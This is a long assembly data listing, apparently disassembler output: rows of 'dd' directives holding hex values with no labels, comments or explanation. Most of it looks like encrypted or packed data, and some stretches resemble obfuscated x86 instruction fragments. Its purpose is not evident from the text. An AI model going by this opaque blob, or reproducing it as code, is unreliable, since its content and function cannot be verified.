		dd 70EC99A5h, 0F1843326h, 317BE042h, 0FD2FCEh, 0F284C05Ah
		dd 63A02EA7h, 8BEDFB16h, 266FBA6Ch, 0A7416BECh,	7F1EC628h
		dd 0AE149EB3h, 9A49DC10h, 0E2CE3B51h, 5334C250h, 0B364FCA3h
		dd 4CEB7104h, 2B971D1Ah, 871A52EEh, 39729D8h, 0B67452B8h
		dd 0A338CE28h, 0D019CAFCh, 9C80A401h, 0E6EE585h, 7E2C8E3Dh
		dd 0F27EAC5Fh, 6FFB8E3Fh, 0F5FAAA53h, 0C181EB4Eh, 0A00F9831h
		dd 3B64h, 6F532400h, 3061EF81h,	0F8F27F23h, 922DB547h
		dd 0AE47CD60h, 8332E174h, 0E2E06C21h, 0BFF5FB01h, 1BA3105Ch
		dd 0DBC4F81h, 0EB6C86ABh, 0EC29A00Fh, 75000000h, 0A94451EDh
		dd 2666C877h, 0CF629433h, 0F9C5F23Dh, 4E104300h, 788D1A00h
		dd 0E701FC2h, 698CC66h,	4EB0E47Eh, 42741399h, 65D65B0h
		dd 605ACB92h, 24C349FEh, 0BD50821Bh, 0B6625F0Eh, 0FCA3DB69h
		dd 8986B857h, 7F1244E3h, 0B547A919h, 0F7FF8D21h, 0A1FCA3E2h
		dd 0D5E08EF0h, 87F27F00h, 992C66FFh, 860E88EAh,	906B5E7h
		dd 8478C357h, 0BEECDC6h, 0AF55A12Dh, 0BB43F5FAh, 0DB3DEC1Eh
		dd 0EF816F53h, 436D35Bh, 5DAAF4A2h, 15C6EBC7h, 5861FB83h
		dd 0DBD887B9h, 0F3929B35h, 0D07F2EC1h, 1784C359h, 0C2DC289h
		dd 0E6Fh, 0B5B2F28Ah, 4340720Fh, 0D1CE049Dh, 5E5B8D2Bh
		dd 0E5E21EB8h, 66007AAAh, 0EB872D2Ah, 7B16BCB9h, 7A64C49h
		dd 0EE82D8D5h, 0F3089660h, 718F02F5h, 0D5679933h, 1543B341h
		dd 0AC5DFCA4h, 0E6852B4Ah, 5379B7B4h, 61EF816Fh, 0F27F2330h
		dd 28B447F8h, 0F5FB019Ah, 7A58A407h, 0A00FEB78h, 0C91Dh
		dd 9433DD00h, 0AF49CF62h, 39CC009Eh, 3567048Ah,	0B144F3A2h
		dd 0A412FA25h, 1749E8FCh, 0A3D5741Ah, 0D818AA10h, 902AB246h
		dd 1213E371h, 0DC8DFCA4h, 65EB9A2Dh, 883698CAh,	0F27F2F2Dh
		dd 5BA638E9h, 872D03E4h, 2EBC4EB5h, 0F5FA52C8h,	0A6C527D8h
		dd 0BC4EA220h, 0C7017D2Eh, 0DE4E99EBh, 0B62FA3F4h, 651E392h
		dd 5ECACEC7h, 0AF63C5E6h, 56538D27h, 650316B0h,	42F1A033h
		dd 17757BCBh, 74952A89h, 0D8Bh,	0A19ED66Eh, 2F2C5EFBh
		dd 0B5B2F089h, 423F710Fh, 0D1CE029Ch, 52EC8E96h, 0DF7B211Eh
		dd 6F0AB0ADh, 0F3923835h, 0DA6EC4C1h, 0F307AA4Ch, 6583F6F5h
		dd 6A679933h, 39C24B8h,	15B145D1h, 3EEFFCA4h, 639534DCh
		dd 94332866h, 1605F17Fh, 0E293FCA4h, 7F0DA133h,	0FCA41577h
		dd 0C9FB9921h, 76D88736h, 6A9C3BC1h, 1601C16Dh,	9A39FCA4h
		dd 26C56B68h, 3CDA62F4h, 6F2C7508h, 0ED21AFAh, 6B048A39h
		dd 95F7A639h, 0A6BB5AE0h, 0A3A3DE18h, 5A09BAFCh, 70A241C7h
		dd 84BE57DDh, 0F63E83F1h, 0A3FFF785h, 0E899FCA3h, 8A12A439h
		dd 7221B4F0h, 0FE41AB10h, 0D302D5Fh, 0A6B88DE5h, 0C5B0h
		dd 6F537000h, 105BEF81h, 7E3F5D52h, 8D3B9D5Eh, 0F27E5640h
		dd 125DEFA0h, 5744F249h, 8726ACC8h, 0B113C255h,	8C5270FCh
		dd 4AE8F5FAh, 63FD8316h, 0EB309E31h, 93F61581h,	0B846DA29h
		dd 0F5FA8C3Eh, 8917A95Ah, 0F5FA8C6Dh, 0F3187A2Bh, 0A00F7AFFh
		dd 7196h, 9F275600h, 0BC6ACC06h, 0FCA41605h, 0D1039F27h
		dd 15DBE76Fh, 4244F583h, 921AF27Fh, 0E25CBEF6h,	79179F31h
		dd 20C6E547h, 24B84A86h, 0FAE26096h, 2D8F40F5h,	40B01278h
		dd 558726AEh, 0FDB113C2h, 0F45E169h, 2359F67Ch,	0D032E190h
		dd 0D603AF22h, 4946F7EBh, 43D608A3h, 9A28E5DDh,	0FCA4025Ch
		dd 4ADC8B3Ch, 7F1D21BCh, 0CFCC7DF2h, 8F38Eh, 6F535000h
		dd 1C61EF81h, 0FCF27F36h, 9431B94Bh, 0F709ED7Bh, 0E697F5FAh
		dd 801EA437h, 863B9D4Ch, 0FAF6C8FAh, 9F27D9F5h,	8938CB05h
		dd 987AC227h, 0A00FE45Ah, 31C553E7h, 6FF5FAEFh,	24FC5CBEh
		dd 0BC000000h, 0A415952Dh, 0D507A5FCh, 52E49342h, 15C630BEh
		dd 3ED2FCA4h, 0A41546B0h, 0F2A152FCh, 0FBB24D90h, 530FFFFFh
		dd 61EF816Fh, 0F27F1008h, 0D55DEFA0h, 9066939h,	8321A033h
		dd 3DF841D4h, 1C63545Bh, 0F69319C8h, 21AD62C4h,	0F5FAB0A1h
		dd 73579D00h, 0A00F9E7Fh, 53916h, 40CE6200h, 0F5FAA8B6h
		dd 8FCF31E2h, 0CB059F27h, 55278938h, 0C52B978Dh, 0DA0CAB33h
		dd 0DB36C478h, 2BF27F20h, 5BC4727Ah, 2950B231h,	0B1E38099h
		dd 0C5FF981Eh, 8AD56716h, 413EE653h, 0C460E6A4h, 0EC7A2E90h
		dd 43131A19h, 3BA134E5h, 49D76987h, 48AE6475h, 89022D3h
		dd 943A3769h, 0CC4CC3F5h, 0A1267C38h, 0B05EB0Ch, 5CF40000h
		dd 0E8852B28h, 760FB5B2h, 0FB993F3Ch, 8C26CCC9h, 4205B58h
		dd 0ABA8DC76h, 36336905h, 0BEBBF590h, 4A477918h, 24D260F4h
		dd 74F5F306h, 9327E301h, 0F618248h, 8612A297h, 0FCA38970h
		dd 751D7F30h, 0FCE80AD6h, 4EC7D715h, 1CA60C9Fh,	0EDB442D4h
		dd 0F9F27E62h, 9AF8F7AEh, 64F60411h, 0FAAD20D6h, 20CF80F5h
		dd 396B068Eh, 533F8A3Ch, 0EE61C98h, 28C36BCDh, 86D163F6h
		dd 9AFFCCF2h, 353881C7h, 74AA5CF5h, 75812F91h, 0EFF5FA33h
		dd 0F5FA43D3h, 44D23B87h, 0F5FA23B2h, 0FC8E3DEEh, 0D54B6B6Eh
		dd 770ABBEBh, 0A340D7EBh, 1D67CAFCh, 548826AEh,	8BB012C1h
		dd 0A6B82A67h, 302Eh, 53F27A00h, 537FBF21h, 61EF816Fh
		dd 0F27F2DBCh, 77982BDCh, 3Ch, 0B5D67AC5h, 0FAAA4CDAh
		dd 45F6F5FAh, 4E2843FCh, 9549F29h, 96B1A6Ch, 0AA6F53C9h
		dd 9443D60Eh, 74C553E5h, 24F27F43h, 6E96E173h, 2ACC5A43h
		dd 76F5FACEh, 6D147CC5h, 0C2E095F7h, 0EB629433h, 89155677h
		dd 0E480A136h, 15000009h, 0A44A477Dh, 32D8D507h, 0B85E5B99h
		dd 43E9E61Ah, 3F7A77A9h, 0C9FB95E5h, 528A26CCh,	0DA14AF55h
		dd 669837DDh, 0F17F1369h, 0F5F30505h, 53022093h, 61EF816Fh
		dd 0F27F417Ch, 52D86B1Ch, 0D28481B3h, 0E477AD4Ah, 0E232C452h
		dd 0BD6EF5FAh, 43FEAC0Eh, 15CF2819h, 23D361BEh,	7DDAC208h
		dd 6E201DCCh, 821547E6h, 0D9E971D3h, 42F78517h,	56D09D35h
		dd 0CBC813A5h, 0C329C6DCh, 0D720F464h, 0B136A38Eh, 9F4EE113h
		dd 53D98EF0h, 5EF284B6h, 587B26D0h, 5FC172D5h, 0E808BA40h
		dd 0A311C856h, 9445CB33h, 594D7501h, 0F154DAC1h, 16A4388Bh
		dd 0DAC159E0h, 88AD0FC0h, 84D6476Ah, 1FBB43D7h,	1FAB5AEDh
		dd 0DAC151D7h, 60C710C1h, 78DC1140h, 5F0161C3h,	0C1000001h
		dd 169E6F53h, 40B6427Ah, 60FCA415h, 0E06E00AFh,	0F27F41FDh
		dd 0B93DCB5Fh, 0E7F5FAE1h, 0FD90C25Fh, 0C33D9F4Eh, 0D86B9D3Bh
		dd 61E77A29h, 0ED9390C2h, 0FD891C4Eh, 0CF281944h, 5509B2Dh
		dd 296D8C86h, 1D67CC2Eh, 77121BBAh, 4CFBAA3Dh, 0D80AA94Fh
		dd 0C88B945h, 7F31B3EFh, 95285AF7h, 0D51F84E6h,	0A4A1D372h
		dd 95CF6AF2h, 49F15302h
		dd 9BE678AAh, 0CD15764Ch, 45FA5C5Eh, 7A0CE2DFh,	0FA6DAAECh
		dd 4CF13CF5h, 72C87913h, 678F1DAFh, 31F5FAF7h, 0F3A41E80h
		dd 2F3CD961h, 1FB26193h, 69EF0E70h, 77059759h, 0EBD6175Eh
		dd 0E47609BAh, 0F98CC05Ch, 88E6014Ah, 53517023h, 0DEAA49F1h
		dd 572D23E0h, 120FBE88h, 2BC4CD6Ch, 6EB766F9h, 68DE39B3h
		dd 0EA04F11h, 970AEC7Ah, 0E596FCA3h, 0B43CCE83h, 0CA50E315h
		dd 0B766F92Bh, 0E6F8A608h, 0D3FCA396h, 0C8FA9921h, 0BF248635h
		dd 41731275h, 0CF809844h, 5CE60C7h, 8A9C3D63h, 53EDB0DFh
		dd 31C37221h, 70D210A9h, 30CAB51h, 0F1843365h, 8894A165h
		dd 0FF4588FEh, 56F0F998h, 29D8871Ah, 0D2E7862Ch, 905BB244h
		dd 8E3DEE0Ah, 0EC2D95FBh, 8BD82153h, 30BF06D8h,	7D0B9D4Ch
		dd 6BC418h, 0BA059748h,	57436036h, 2948AA8Ch, 41E8h, 6F53AA00h
		dd 0C867EF81h, 15D125B3h, 1ECFFCA4h, 0F793DC6Fh, 0B65B10D2h
		dd 7B2F9140h, 7E8A30EDh, 0C9F50F2h, 0B6B3E986h,	14E27004h
		dd 84F5FA63h, 500671D3h, 0AD41804Bh, 60618D1Bh,	8E3FF5FAh
		dd 9F271454h, 8938CB05h, 0AEE07F27h, 0BF972BB1h, 611E3151h
		dd 8517C643h, 3AD55DF1h, 3AC67508h, 0FCA389BCh,	89E214A2h
		dd 0DBEFCA3h, 0E27E04B5h, 939A48AAh, 73F27EA4h,	406E1128h
		dd 0B261E9BAh, 29FD9820h, 961C986Fh, 0D1CE7D3Eh, 0EFF8971Fh
		dd 0DA6D1C56h, 8621C92Bh, 6F53B94Ch, 0C867EF81h, 0F2540396h
		dd 0C9F1B03Eh, 44F5EBD5h, 0DA9D25B1h, 991FCA3h,	0F6A5386Ah
		dd 3AB60C94h, 43C914A8h, 2456F3ACh, 2B031FDBh, 49AB5A8Ch
		dd 7ECF3E9Bh, 26B96AF2h, 84720094h, 14F5FACCh, 6F530163h
		dd 32F5FACCh, 4DA565CFh, 48A00FB6h, 28h, 816F5308h, 2DBC61EFh
		dd 2BDCF27Fh, 4A2A4E99h, 30B0F957h, 0BBDC6E7h, 5DBFD8DCh
		dd 0F38E16A8h, 231C5FC1h, 0DE000000h, 0EF816F53h, 7F42D861h
		dd 8D1FD0F2h, 9B1ACE42h, 6E0C3D00h, 49F8A73Ah, 68F62900h
		dd 0CF31575Ah, 9F27FC1Ah, 0C169CB05h, 8B79F022h, 0BA891556h
		dd 6650425h, 0FC940000h, 8825CBC8h, 16AF5552h, 9B39DFDCh
		dd 2CC66C69h, 64C0FBF8h, 4B487C16h, 0D6D309A5h,	5E5B9530h
		dd 0EAE719B8h, 84720094h, 14F5F300h, 0CA0983A1h, 0F688685Ah
		dd 7F20A968h, 1FBB43F2h, 49AB5AEDh, 68161ECFh, 3834D74Eh
		dd 0D86A863Ch, 8F485B4Ah, 0C9B6012Dh, 0B5198493h, 5D0E88EAh
		dd 925E64CAh, 71267200h, 6DB83038h, 95647F17h, 9A14765Fh
		dd 30CF57E9h, 0BC5B01FEh, 5A6B138Ah, 0B54A4DFAh, 5DE94h
		dd 51831B00h, 0DB11AE54h, 659F38DEh, 0F024C268h, 81B34DF3h
		dd 9FDB4984h, 28CECB05h, 0B55B588Ch, 45EBE81Ah,	217774A6h
		dd 0F7FF8Dh, 2EA1F5F3h,	62943310h, 155615EBh, 62831889h
		dd 59Fh, 8582C25Ah, 131042DFh, 0A19ED46Dh, 2E2B5DFBh, 0B5B2EE88h
		dd 36D0AA7Ah, 0BB57FDFAh, 4BE68C89h, 0D7761C19h, 0BE52A8A5h
		dd 0F2FFC630h, 415FD2F5h, 0E011DC27h, 3DAC5458h, 4347893Ah
		dd 0D537E6F1h, 0C95C8E2Dh, 0E115A337h, 0BFFCA377h, 9E24AC0Eh
		dd 0C332C052h, 0D3F2767Eh, 239F2522h, 809A5CEAh, 5506F5F2h
		dd 0F88014A6h, 4B942759h, 0C8221255h, 0E701F13h, 0CDA7AD60h
		dd 25B869EBh, 8BA62999h, 0AF1578FCh, 0A09507EBh, 0AA8EA6h
		dd 274E0000h, 303FE9DCh, 0D43679F5h, 7052D202h,	0B160EE80h
		dd 75F27E89h, 0CE0EBCC4h, 9C06F3A2h, 9D59E726h,	0FB32F582h
		dd 7B099B4Ah, 28D0938Ah, 2C9225D6h, 3AC85A96h, 236BFE84h
		dd 0DA133E4h, 1A58F179h, 0AA4CD887h, 0F632F825h, 0EC9BD16Eh
		dd 2E43E28Ah, 0F82556A0h, 0E2914232h, 6EA03FE5h, 0BEA613F7h
		dd 64851A40h, 4A7h, 7D7ABA52h, 0B083AD7h, 9996CC65h, 262355F3h
		dd 0ADAAE680h, 2EC8B272h, 0B34FF5F2h, 43DE8481h, 0CF6E1411h
		dd 0B64AA09Dh, 0F2FECE28h, 3957CAF5h, 0A598h, 0C452E600h
		dd 0FCA41632h, 1B5BBD6Eh, 0EF816F53h, 771C6461h, 7103B4F2h
		dd 86184AE9h, 0C82A62FEh, 8ACF7A9h, 0B80331E1h,	31D078DAh
		dd 0BC066CFFh, 800EA234h, 0F5F27C76h, 0A15AE431h, 57AF9B58h
		dd 67FA34CFh, 0F3A709B8h, 0CD584465h, 10A354EBh, 46D818AAh
		dd 665629B8h, 0E16F03F2h, 0F5F23715h, 0F670D283h, 99CD06Eh
		dd 6834AB5Ah, 4D8FA489h, 3FD97B8h, 64FC0000h, 0F08D3330h
		dd 7E17BDBAh, 3A14744h,	942ED4D1h, 0FC286360h, 0B3B0E47Eh
		dd 3E3B710Dh, 0C6C3FD98h, 524F8120h, 1CDA68FCh,	7CF5F2FFh
		dd 0C92DEB09h, 0A3FCA415h, 0FCA4151Fh, 0F592873Bh, 0EA7E10BFh
		dd 6FD399Fh, 69CBCD3Ch,	76633ABBh, 23B566F2h, 2CFD65D8h
		dd 0BA1C78B7h, 0AEE07F05h, 0A4806737h, 90B1468Fh, 393h
		dd 9996CE66h, 272456F3h, 0ADAAE881h, 3A376907h,	0C9C6FA94h
		dd 4AE4968Eh, 0D7731916h, 6702A8A5h, 0EB8A302Dh, 0D266BCB9h
		dd 0F2FDB244h, 5D7BEEF5h, 0D0629433h, 1779AB48h, 53C6FC62h
		dd 0E113B0B9h, 5DF09F4Eh, 0D96DFFAEh, 0EA20BD45h, 0A415985Eh
		dd 0E5708FCh, 502BDEE6h, 83319362h, 0F27E4762h,	0E4908D3Eh
		dd 8E7F0B52h, 4D4A8620h, 40D30DA7h, 598B26AEh, 2DB517C6h
		dd 215F5CA6h, 0CF629433h, 7B78AA49h, 9123CDF5h,	7F24DA03h
		dd 7205B6F2h, 0FB02DCE6h, 1A62C5F5h, 4E8421A9h,	0E8860CBBh
		dd 107221B4h, 0FF107EBh, 2C8EA0h, 52DA0000h, 3DEC7FB5h
		dd 6F539BDBh, 41D410AAh, 0C351E392h, 0F27F23CEh, 0CA56E99Ah
		dd 0F5FB01F8h, 1CFE46A9h, 0A00FEBD6h, 0D1BFh, 94337F00h
		dd 0AF49CF62h, 550E275h, 0C232633Dh, 7A329C2h, 319342D5h
		dd 43E1EA89h, 20CF7E11h, 0D873FB8Dh, 26413A6h, 8C89BB5Ah
		dd 35B98FDAh, 0E91D42C6h, 946D987h, 55F4FCA4h, 0CD7CB04Ch
		dd 598B2AD0h, 8E6260C6h, 58B6EFCh, 6A1BF27Fh, 0B870BB6Dh
		dd 8774D9E7h, 5171F95Bh, 691F2405h, 0AE5D9376h,	0FCFA881Ch
		dd 9CF5FA19h, 41D589EBh, 87E91BB9h, 0C6C75AD9h,	0FB8D3EEBh
		dd 0AAA7D973h, 0BF366A04h, 89171E09h, 2C0E2FC4h, 0CD000002h
		dd 5C02FF35h, 0EA908DBFh, 70161351h, 0FBA19ED2h, 0F7322F61h
		dd 81B34D2Dh, 0A42DE84h, 92CC670Dh, 1E50EF95h, 0A937CB21h
		dd 0F5F2FC4Dh, 27BAD84Bh, 6ED0029Fh, 0FBF82CC6h, 0F284B655h
		dd 3597CD6Ah, 6F53D816h, 0CB67EF81h, 0F5833799h, 0F27F239Ch
		dd 0A129BB6Ch, 0BA6FD103h, 0FB01942Eh, 42AA0DF5h, 0FEB7280h
		dd 0FD23A0h, 33E30000h,	49CF6294h, 50E275AFh, 84122FC8h
		dd 0FCA41572h, 3BCE7D2Eh, 3525438Ch, 28694362h,	7D0718C6h
		dd 16B5FCA3h, 0A135E7E4h, 0A383E313h, 0AA0CBDFCh, 9E316302h
		dd 8ECC8A38h, 3903FB83h, 0DD65F7A6h, 63A13A43h,	107221D0h
		dd 0FE2BCE5Ch, 307BF27Eh, 67044700h, 0AAF3A235h, 7E2DC7E6h
		dd 0BE84CF81h, 0BBF18E05h, 0B09CFB72h, 5AFCC64Eh, 0E3714A6Fh
		dd 0F5FA6F13h, 0BA93DC8Dh, 52EB7137h, 2FDE8D20h, 6308529Dh
		dd 55D5B685h, 0A68B5B0Ch, 4AACBC5Fh, 0A34E0896h, 0D98AEBC7h
		dd 0EB25BF47h, 1AA83CEEh, 0FCA185DCh, 1A90BBCh,	8B62D67h
		dd 0B18917C6h, 109FB1Ch, 58F00000h, 0DC791F1Ch,	6A03A9A6h
		dd 0F7953B38h, 8822C8C5h, 10144F4Ch, 9794D06Ah,	221F55F1h
		dd 0B2AFE17Ch, 3E3B6D0Ch, 30C654E8h, 70F5F2FCh,	9933DFFDh
		dd 25C46A67h, 84967459h, 7726B9EBh, 0D628112Eh,	33EC2A27h
		dd 0BBED8B94h, 37CA7928h, 4A801DA5h, 0E87608B7h, 0FCA4160Eh
		dd 0CF77D98Ah, 26736430h, 0E99742BEh
		dd 4F7702A0h, 0DBC3E5Dh, 0E1388A10h, 0CD5F0E44h, 76F1923Fh
		dd 7B149CF2h, 0A507B649h, 0B54C972Bh, 8C74DCC0h, 342BCB57h
		dd 0C475F5F2h, 5DFC8215h, 0F47C2E2Bh, 0E796295Bh, 0C3EDD85h
		dd 6035ED79h, 0F93C8362h, 7BAD4CB3h, 739D87Eh, 1C50EE74h
		dd 0E5683F8Ah, 0DF9AF829h, 0A642C87Dh, 0BC55DB6Eh, 0BE44F386h
		dd 0FE755220h, 49CD6210h, 0E481079Ah, 1D6C1BAEh, 0FD0492DAh
		dd 4EED529Ah, 0DA791F1Ch, 1CF415A8h, 0B6000000h, 9725B94Dh
		dd 0FCA4155Fh, 158571FFh, 6213FCA4h, 1010590Ah,	9473F103h
		dd 3388C82Ah, 50D6699Bh, 66EC7FB1h, 800699CBh, 971DB0E4h
		dd 0AA30C3FDh, 0BB41D410h, 0D258EB1Dh, 0E268FB39h, 2A7C0F45h
		dd 227468h, 24148900h, 5E08950h, 4, 42Dh, 24048700h, 2434895Ch
		dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 55241489h, 22370268h
		dd 0F5815D54h, 52933CA1h, 2C8BEE89h, 4C48324h, 24148B54h
		dd 6804C483h, 0CB1h, 8F243489h,	34FF0842h, 0C4815A24h
		dd 4, 5724348Bh, 0C781E789h, 4,	8704C783h, 0E95C243Ch
		dd 0FFF86379h, 1811D81Ah, 0E7E91D04h, 6016DEAAh, 0B11BEBB8h
		dd 0FFC50306h, 7D5217E0h, 43F1EF3Fh, 0D7913711h, 261A642Eh
		dd 1EDC3913h, 1EB8FC51h, 26812C13h, 478CB150h, 6F862A4Eh
		dd 7DDEA954h, 3AC95D10h, 465555Ah, 51465E29h, 930A9928h
		dd 6DE78325h, 5CA14360h, 0C6F7D519h, 32ED7544h,	89AAD27Ch
		dd 0B53B5469h, 21B90C32h, 0B467BA0Bh, 3AF9DE3Fh, 0E18D8D0Eh
		dd 6A06B11Dh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0F515C357h, 4B2F21E3h,	16CD8D89h
		dd 6A06A9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0C8C40AC3h, 8C30A825h, 1F58BE66h,	0CE585C7h
		dd 604806A9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 22D89C3h, 0F3C8B28Dh, 11CD85C7h
		dd 6A9h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 180424h, 53430000h, 0B177B3C3h, 0B5FFAA03h, 6A93365h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 7FC35141h
		dd 0A6E69FF9h, 0BD095EE0h, 6A92A71h, 328195FFh,	6A06A9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 8156B3C3h, 4290DC2h,	81665852h, 6A3A01D2h, 9595FF00h
		dd 8B06A92Dh, 0C32CEBC0h, 0CFC89E1Dh, 0DCEF76AAh, 97738FF6h
		dd 5B395D25h, 77F22A60h, 0D8AB80F6h, 3E7E0C58h,	0ACCBB840h
		dd 48F295E1h, 0E8F01160h, 8D5EA9CDh, 0B11EE88Dh, 89D98B06h
		dd 0A916CD8Dh, 53006A06h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 6DA2ABB2h, 0F032F306h
		dd 84B866C3h, 0E585C7DDh, 2406A90Ch, 0E800006Bh, 0Eh, 3D104B1Bh
		dd 3C29BA89h, 0B53E6D6Ah, 85297456h, 6A9168Dh, 0F60525Fh
		dd 8Fh,	6185B100h, 0CD85C75Ah, 6A911h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 930C355h, 5DC7485h, 0EE9h, 5297EA00h, 0CB9E5EC0h, 8FC9709Ah
		dd 9D7E70Ch, 0A905659Dh, 9B5FF06h, 8106A90Eh, 0F5BA3EDAh
		dd 8195FF7Fh, 0E806A932h, 7, 3F02371Dh,	2955AA2Ch, 0A9124595h
		dd 6A5F06h, 2D9595FFh, 0C08B06A9h, 0EBF04EEBh, 0D8B31B91h
		dd 0E8EEDAD0h, 77C700ABh, 73B01335h, 6B61CC66h,	64F23982h
		dd 0D72CBA0Ah, 7E7D34DDh, 35D6573Dh, 0C7862BACh, 3078802Dh
		dd 8CD3233Ch, 598B1A35h, 58A516DDh, 0C278C253h,	0C8E56EDFh
		dd 54D72DFCh, 65174A73h, 0B5E1CCE6h, 1FDD8D8Dh,	6A06B1h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 5F7540C3h, 89F98BADh, 0A916CD8Dh, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 85C7BE32h
		dd 6A90CE5h, 62C0h, 509852Bh, 85C706A9h, 6A911CDh, 0
		dd 29C9852Bh, 0B5FF06A9h, 6A917D1h, 0BE8h, 0F392CB00h
		dd 0B314B01Eh, 0C4A39163h, 0ED952360h, 0F06A919h, 81h
		dd 0FF5F6100h, 0A9328195h, 0ED9D8906h, 6A06A912h, 9595FF00h
		dd 8B06A92Dh, 1158EBC0h, 76A19623h, 0AD9A86F4h,	0E54F8707h
		dd 8F2FE51Fh, 0ECAE0F92h, 1856411Dh, 22118253h,	0A73ECFFCh
		dd 0D8C74B40h, 0D73059B4h, 2AE219C1h, 0C118447Ch, 454407D4h
		dd 0F7023F78h, 40253057h, 9C7326D9h, 4529B533h,	0A1C70A4Bh
		dd 89F46FB5h, 0FAFAC8C3h, 73B7BD14h, 8DB11B5Fh,	0B121468Dh
		dd 89858906h, 8906A92Dh, 0A916CD8Dh, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 579CB740h
		dd 94E8D1FFh, 85C736E5h, 6A90CE5h, 7474h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Dh, 0AFC35040h, 0DDF248A4h
		dd 7AB50A61h, 0E59D2976h, 106A921h, 0A9293D9Dh,	0CD85C706h
		dd 6A911h, 0E8000000h, 10h, 0DB8B2CCEh,	6DD392EBh, 7146120Dh
		dd 2D2B69DBh, 2AE68166h, 0B5FF5F7Bh, 6A92C85h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 88C35747h, 0FEAC156h
		dd 95ED08F6h, 7226BF66h, 328195FFh, 6A06A9h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0A4BB92C3h
		dd 55C60194h, 10E949h, 7E090000h, 57AF0611h, 90F3CC98h
		dd 0C100D504h, 0D68B7EECh, 95FF006Ah, 6A92D95h,	8EBC08Bh
		dd 0B9BFD70Eh, 9385AE46h, 23E9h, 63234400h, 5, 7 dup(0)
		dd 5A9E9h, 0E91BB300h, 73A946ECh, 0FD37D076h, 88BC5A00h
		dd 194BE58Bh, 3743E11Ch, 0C066639Dh, 4DF3F024h,	0DD8380B2h
		dd 0B90F0C3Eh, 0F45F9725h, 0C639F5F2h, 0DC10AC34h, 76149A49h
		dd 27A0E042h, 6DCF019Fh, 821D26C5h, 0FAA9DB79h,	0E44E167h
		dd 0D41DCC7Bh, 0BE49E340h, 23B6651Ah, 0D4D1039Dh, 0CA5D8F2Eh
		dd 0E173A544h, 58E8C059h, 6619999Eh, 3AEF5100h,	52E517B4h
		dd 1374C003h, 9F454274h, 1BCDCA04h, 33C6F893h, 0DF7A2284h
		dd 0F17F13A5h, 0FCA34B05h, 0C15CE293h, 0F2782D8Fh, 848B1E56h
		dd 0D974DB21h, 4AC036C4h, 2FE0FCA3h, 58A3EE80h,	236D4EFh
		dd 8977C06Fh, 0DFFE60C5h, 0D5689A39h, 0A3937849h, 5624C2FCh
		dd 3EB166DCh, 63F6A56Ah, 780B41DDh, 0CA54A0E3h,	0D7BB0166h
		dd 0A6B8281Bh, 6F7Ah, 94333A00h, 0EBDEF8Bh, 0C261E97Bh
		dd 0EC4EFD90h, 0A415B63Eh, 0B71D6FCh, 0B8FFAB47h, 750E96A6h
		dd 0BC3D6FA5h, 3DEC5007h, 17BDBh, 273B0000h, 58F3049Fh
		dd 35E47726h, 1BC0EEECh, 0C02282BFh, 0B6497B18h, 0CE619330h
		dd 0E376AA48h, 0FE91C35Dh, 0BB0DD978h, 0F22DC020h, 638C1FCEh
		dd 0DB2AB400h, 4EEB2C98h, 63028A1Ch, 0AB0CF31h,	0FE3C396Bh
		dd 0D4679933h, 0E87BB14Eh, 63A41053h, 0F49A97C9h, 0A902355h
		dd 81A03371h, 49AD3BCFh, 57FCA415h, 95DF44A6h, 0B9054DB5h
		dd 0F28C14A6h, 0BA94DDBh, 46F7FCA4h, 0F3550497h, 0A093h
		dd 93275300h, 0A415F105h, 5EC1BEFCh, 67C5C4CCh,	3DD85E0Fh
		dd 5FF9A103h, 6C009225h, 0A36A18DEh, 75D788FCh,	8D1B34CDh
		dd 0FCA36969h, 44D78637h, 41CF63F5h, 0FCA369B5h, 6BD032E3h
		dd 901EB201h, 0FCA36966h, 771F8132h, 0A6A3DDh, 11972A66h
		dd 8FAE4173h, 2C02Ch, 0B5A6B85Ah, 73h, 0ACDC2775h, 677F536h
		dd 8A24CC2Eh, 0A23DC356h, 0A1F7FF8Dh, 0D773FCA3h, 0A9C4DA5h
		dd 0A3A17A7Ch, 0C67526FCh, 0D0580A33h, 0DB77FD37h, 9AE247A9h
		dd 6C699B35h, 5C9832BAh, 0E769AA13h, 9F01322Ah,	6496335Fh
		dd 157C45D1h, 1FBEFCA4h, 39D45AEDh, 0A6D7407h, 1CD034A2h
		dd 15FCFA88h, 0EB9CFCA4h, 0FAD82489h, 0A6B8FFF8h, 0EA28C149h
		dd 12888h, 33E80000h, 4FD5689Ah, 0E4EB7EB0h, 3BD43B81h
		dd 53EF7709h, 0F5018F21h, 0A3FCA415h, 0EB7190F2h, 0F38719D7h
		dd 0B003CF6Bh, 6287B933h, 7D2CBF6Eh, 88946D1Bh,	23D4F27Eh
		dd 396B0A90h, 0C5F7963Ch, 934EA632h, 1679F5FAh,	98CA69AEh
		dd 4D56F59Bh, 61E77AB0h, 33E291C3h, 497B1AA0h, 96DE21B6h
		dd 0CE609231h, 934AAC3Ah, 0A556F5FAh, 0F1012443h, 0A4A00F7Dh
		dd 15Bh, 816F5364h, 35B061EFh, 0B63EF27Fh, 0A04FE21Ah
		dd 0E7497B1Ah, 0A329BC6Dh, 7D5F3804h, 8DDBD6F2h, 9C3BE1DEh
		dd 0B550D86Ah, 0D739E87Bh, 31FD9C22h, 0C7156D4h, 9124D31Dh
		dd 0C73B9FCh, 96CA646Dh, 2BC7EAE7h, 6AA00F75h, 74h, 629422B6h
